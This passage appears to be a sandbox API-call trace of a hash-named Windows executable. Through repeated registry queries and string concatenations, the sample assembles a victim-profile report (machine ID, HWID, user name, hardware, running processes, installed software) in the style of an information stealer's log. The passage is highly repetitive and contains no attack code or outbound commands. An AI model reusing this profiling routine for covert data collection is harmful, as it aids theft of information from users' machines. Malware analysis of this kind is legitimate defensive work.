[3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016"
[0054.962] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 ["
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe 